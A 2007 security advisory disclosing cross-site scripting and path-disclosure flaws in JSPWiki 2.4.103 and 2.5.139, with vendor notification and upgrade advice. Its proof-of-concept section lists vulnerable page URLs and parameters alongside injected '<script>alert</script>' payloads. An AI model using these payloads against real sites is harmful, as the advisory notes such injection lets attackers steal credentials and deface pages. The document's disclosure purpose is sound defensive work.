JSPWiki Multiple Input Validation Vulnerabilities

["Jason Kratzer" <kratzer.jason () gmail com>]

JSPWiki Multiple Input Validation Vulnerabilities

Application:  JSPWiki
Version:  2.4.103 and 2.5.139
BID:  25803
Credit:  Jason Kratzer
Date:  9/24/2007


Background
------------------------------------------------------------
JSPWiki is wiki software built around the standard J2EE components of
Java, servlets and JSP. It was written by Janne Jalkanen and released
under the LGPL. The Sun Java System Portal Server includes it as one
of its core applications. It is primarily used for company intranets
and has an active developer community, also including the i3G
Institute of the Heilbronn University.

(Courtesy of Wikipedia: http://en.wikipedia.org/wiki/JSPWiki)



Description
------------------------------------------------------------
Multiple Cross Site Scripting vulnerabilities have been discovered
within the JSPWiki application, successfully allowing an attacker to
steal credentials, falsify posts, and persistently deface portions of
the site.  Additionally, a Local Path Disclosure vulnerability was
also discovered.



Affected Versions
------------------------------------------------------------
Each vulnerability was confirmed in versions 2.4.103 and 2.5.139-beta.
 The Cross Site Scripting vulnerability affecting the redirect
parameter is only found in version 2.5.139-beta.



Proof of Concept

Cross Site Scripting Vulnerabilities:
------------------------------------------------------------
http://vulnerable-site.com/wiki/NewGroup.jsp?group=Test

   Vulnerable Parameters:
       group=Test"<script>alert("Test+XSS")</script>
       members= Test"<script>alert("Test+XSS")</script>

   Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/Edit.jsp?page=Main&action=save&edittime=1186698299838&addr=127.0.0.1&_editedtext=Test&changenote=Test&ok=Save

   Vulnerable Parameters:
       edittime=<script>alert("Test+XSS")</script>

   Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/Comment.jsp?page=Main&action=save&edittime=1186698386737&addr=127.0.0.1&_editedtext=Test&author=AnonymousCoward&link=&ok=Save

   Vulnerable Parameters:
       edittime=<script>alert("Test+XSS")</script>
       author=<script>alert("Test+XSS")</script>
       link="><SCRIPT>alert("Test+XSS")</SCRIPT>

   Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/UserPreferences.jsp?tab=profile&loginname=Test&password=Test&password2=Test&wikiname=Test&fullname=Test&email=Test
 () Test com&ok=Save+profile&action=saveProfile
http://vulnerable-site.com/wiki/Login.jsp?tab=profile&loginname=Test&password=Test&password2=Test&wikiname=Test&fullname=Test&email=Test
 () Test com&ok=Save+profile&action=saveProfile

   Vulnerable Parameters:
       loginname="><script>alert("Test+XSS")</script>
       wikiname="><script>alert("Test+XSS")</script>
       fullname="><script>alert("Test+XSS")</script>
       email="><script>alert("Test+XSS")</script>

   Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/Diff.jsp?page=Administrator&r1=-1&r2=1

   Vulnerable Parameters:
       r1=<script>alert('Test XSS")</script>
       r2=<script>alert("Test+XSS")</script>

   Type: Reflective
------------------------------------------------------------
http://vulnerable-site.com/wiki/PageInfo.jsp?page=SystemInfo/test.jpg

   Vulnerable Parameters:
       changenote=<script>alert("Test+XSS")</script>

   Type: Stored
------------------------------------------------------------
http://vulnerable-site.com/wiki-3/Login.jsp?redirect=Main

   Vulnerable Parameter:
       redirect="><script>alert("Test+XSS")</script>

Notes:
   The redirect parameter is found in multiple places through
JSPWiki-2.5.139-beta and is vulnerable in every instance.

------------------------------------------------------------

Local Path Disclosure:

http://vulnerable-site.com/wiki/attach/Main/Insert-Uploaded-Attachment-Filename-Here?version=1000000
(Nonexistent #)

   Vulnerable Parameter;
       Version=10000000

Notes:
   The non-existent number must be between 1 and 10 character
otherwise a standard 500 error will be displayed.



Vendor Notification
------------------------------------------------------------
The JSPWiki project was notified on September 10, 2007.  Janne
Jalkanen developed and implemented a fix by September 18, 2007.



Remediation
------------------------------------------------------------
It is recommended to upgrade to JSPWiki version 2.4.104.  It is also
worth noting, the above vulnerabilities have also been fixed in the
beta release, version 2.5.139.

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